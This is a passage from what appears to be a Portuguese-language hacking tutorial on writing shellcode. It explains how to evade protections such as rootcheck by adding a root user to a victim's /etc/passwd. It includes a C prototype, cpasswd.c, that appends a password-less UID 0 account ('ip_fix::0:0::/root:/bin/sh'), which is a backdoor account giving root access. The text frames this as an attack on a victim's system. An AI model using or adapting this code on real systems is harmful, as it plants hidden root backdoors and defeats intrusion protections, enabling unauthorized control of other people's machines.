Create successful ePaper yourself
Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.
haverá certos casos que existirão programas que não permitirão a<br />
obtenção de shell através de ataques básicos como buffer overflow<br />
(stack) e teremos que ser criativos para burlamos. Enfim, cada caso é um<br />
caso! Nem sempre as coisas são o que parecem ser, então teremos que<br />
ter uma grande malícia para burlar determinados sistemas de<br />
proteção como o rootcheck, por exemplo, que ao obtermos uma root<br />
shell não autorizada, o próprio irá killar o processo em que estamos.<br />
Ohhh!!! Será o fim??? Claro que não!!! Programas desse gênero derruba<br />
quem obtém uma root shell atráves de shellcodes como o acima, mas<br />
não existe apenas uma maneira de conseguirmos acesso root, como<br />
conseguiremos então?<br />
Pense o seguinte: Sabemos escrever na tela, o que nos impede de<br />
escrevermos em arquivos? Sabendo disso, nada nos impede de<br />
adicionarmos um usuário com privilégios root no /etc/passwd da<br />
vítima!!! Devolta aos protótipos!!! :D<br />
shellcode/cpasswd.c<br />
/*<br />
* Protótipo de shellcode em C.<br />
* Adiciona um usuário com premissões root.<br />
* by IP_FIX .<br />
* MotdLabs .<br />
* Compilação: # gcc -o cpasswd cpasswd.c<br />
*/<br />
#include <br />
#include <br />
#include <br />
main() {<br />
/* Declaramos passwd como um inteiro. */<br />
int passwd;<br />
/* Usamos open para abrir o arquivo; atenção nas flags!!!<br />
* O_RDWR: Read and Write/Leitura e Escrita.<br />
* O_APPEND: O ponteiro será apontado no fim do arquivo.<br />
*/<br />
/* passwd = open("/etc/passwd",O_RDWR|O_APPEND); */<br />
passwd = open("/etc/passwd",1026);<br />
/* Após aberto, escrevemos nossa string no arquivo desejado. */<br />
/* write(passwd,"\nip_fix::0:0::/root:/bin/sh\n",strlen<br />
("\nip_fix::0:0::/root:/bin/sh\n")); */<br />
write(passwd,"\nip_fix::0:0::/root:/bin/sh\n",30);<br />
/* Sai livremente. */<br />
exit(0);<br />
}<br />
shellcode/cpasswd.c<br />
84